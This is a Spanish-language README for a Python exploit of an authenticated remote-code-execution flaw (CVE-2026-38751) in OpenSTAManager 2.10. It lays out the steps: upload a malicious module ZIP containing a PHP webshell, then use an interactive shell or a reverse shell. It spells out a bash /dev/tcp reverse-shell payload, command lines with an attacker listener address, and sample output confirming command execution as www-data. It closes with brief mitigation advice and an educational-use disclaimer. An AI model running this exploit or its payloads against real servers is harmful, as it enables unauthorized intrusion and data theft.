Exploit de RCE en OpenSTAManager (CVE-2026-38751)
Descripción general
Este script de Python explota una vulnerabilidad de ejecución remota de código en OpenSTAManager versión 2.10, identificada como CVE-2026-38751. El exploit permite a usuarios autenticados subir un módulo malicioso y ejecutar comandos arbitrarios en el sistema objetivo.
Detalles de la vulnerabilidad
- ID de CVE: CVE-2026-38751
- Producto: OpenSTAManager
- Versión: 2.10
- Tipo: Ejecución remota de código (RCE)
- Vector de ataque: Basado en web, requiere autenticación válida
Cómo funciona el exploit
El exploit sigue estos pasos:
- Autenticación: Inicia sesión en la aplicación OpenSTAManager usando las credenciales proporcionadas
- Habilitar actualizaciones: Activa la funcionalidad de actualización de módulos que es necesaria para el exploit
- Crear ZIP malicioso: Genera un archivo ZIP que contiene:
- Un archivo de definición de módulo (
MODULE)
- Un script PHP de shell (
shell.php) que ejecuta comandos mediante el parámetro GET c
- Subir módulo: Sube el ZIP malicioso a través de la interfaz de actualización de módulos
- Verificar la explotación: Confirma que el shell es accesible y funcional
- Ejecutar comandos: Ya sea:
- Modo shell interactivo para ejecución manual de comandos
- Conexión de shell inversa para establecer una conexión persistente
Requisitos previos
- Python 3.x
- Paquetes de Python necesarios:
requests, zipfile
- Credenciales de administrador válidas para OpenSTAManager
- Acceso de red al sistema objetivo
Uso
Uso básico
python3 exploit.py -u http://target.com -U admin -P password
Modo shell interactivo
python3 exploit.py -u http://target.com -U admin -P password --interactive
Modo shell inversa
python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444
Argumentos
| Argumento | Descripción |
|---|
-u, --url | URL objetivo (obligatorio) |
-U, --user | Nombre de usuario para la autenticación (obligatorio) |
-P, --password | Contraseña para la autenticación (obligatorio) |
--interactive | Entrar en modo shell interactivo |
--no-cleanup | No eliminar los archivos de shell después de la ejecución |
--lhost | Host local para la shell inversa |
--lport | Puerto local para la shell inversa |
Detalles técnicos
Proceso de explotación
- Autenticación: El script realiza una solicitud de inicio de sesión al endpoint de autenticación de la aplicación
- Habilitación de actualización de módulos: Envía una solicitud POST para habilitar la funcionalidad de actualización de módulos
- Generación del ZIP: Crea un archivo ZIP con:
shell/MODULE: Archivo de configuración del módulo
shell/shell.php: Webshell de PHP que ejecuta comandos pasados mediante el parámetro GET c
- Proceso de subida: Usa datos de formulario multipart para subir el ZIP malicioso al endpoint de actualización de módulos
- Verificación: Prueba el shell subido ejecutando un comando simple como
id para confirmar que funciona
- Ejecución de comandos: Proporciona un shell interactivo o establece una conexión de shell inversa
Payloads utilizados
El exploit intenta múltiples payloads de shell inversa:
- Shell inversa de Bash:
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
- Shells inversas de Python usando conexiones socket
- Payload de Bash codificado en Base64
- Shell inversa de Netcat
Consideraciones de seguridad
⚠️ Aviso: Este exploit está destinado únicamente a fines educativos y de pruebas de seguridad autorizadas.
Evaluación de riesgos
Esta vulnerabilidad permite:
- Ejecución arbitraria de código como el usuario del servidor web
- Posible escalada de privilegios
- Acceso a datos sensibles almacenados en el sistema
- Posible movimiento lateral dentro de una red
Mitigación
Para protegerse contra esta vulnerabilidad:
- Actualizar OpenSTAManager a la última versión
- Implementar controles de autenticación adecuados
- Restringir las capacidades de subida de archivos
- Supervisar actividades sospechosas
- Aplicar segmentación de red
Ejemplo de salida
[ OpenSTAManager RCE Exploit : ]
Target: http://target.com
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 200
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Entering interactive mode...
cmd> whoami
www-data
cmd> exit
Referencias
Licencia
Este exploit se proporciona únicamente con fines educativos. El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito de prueba es ilegal.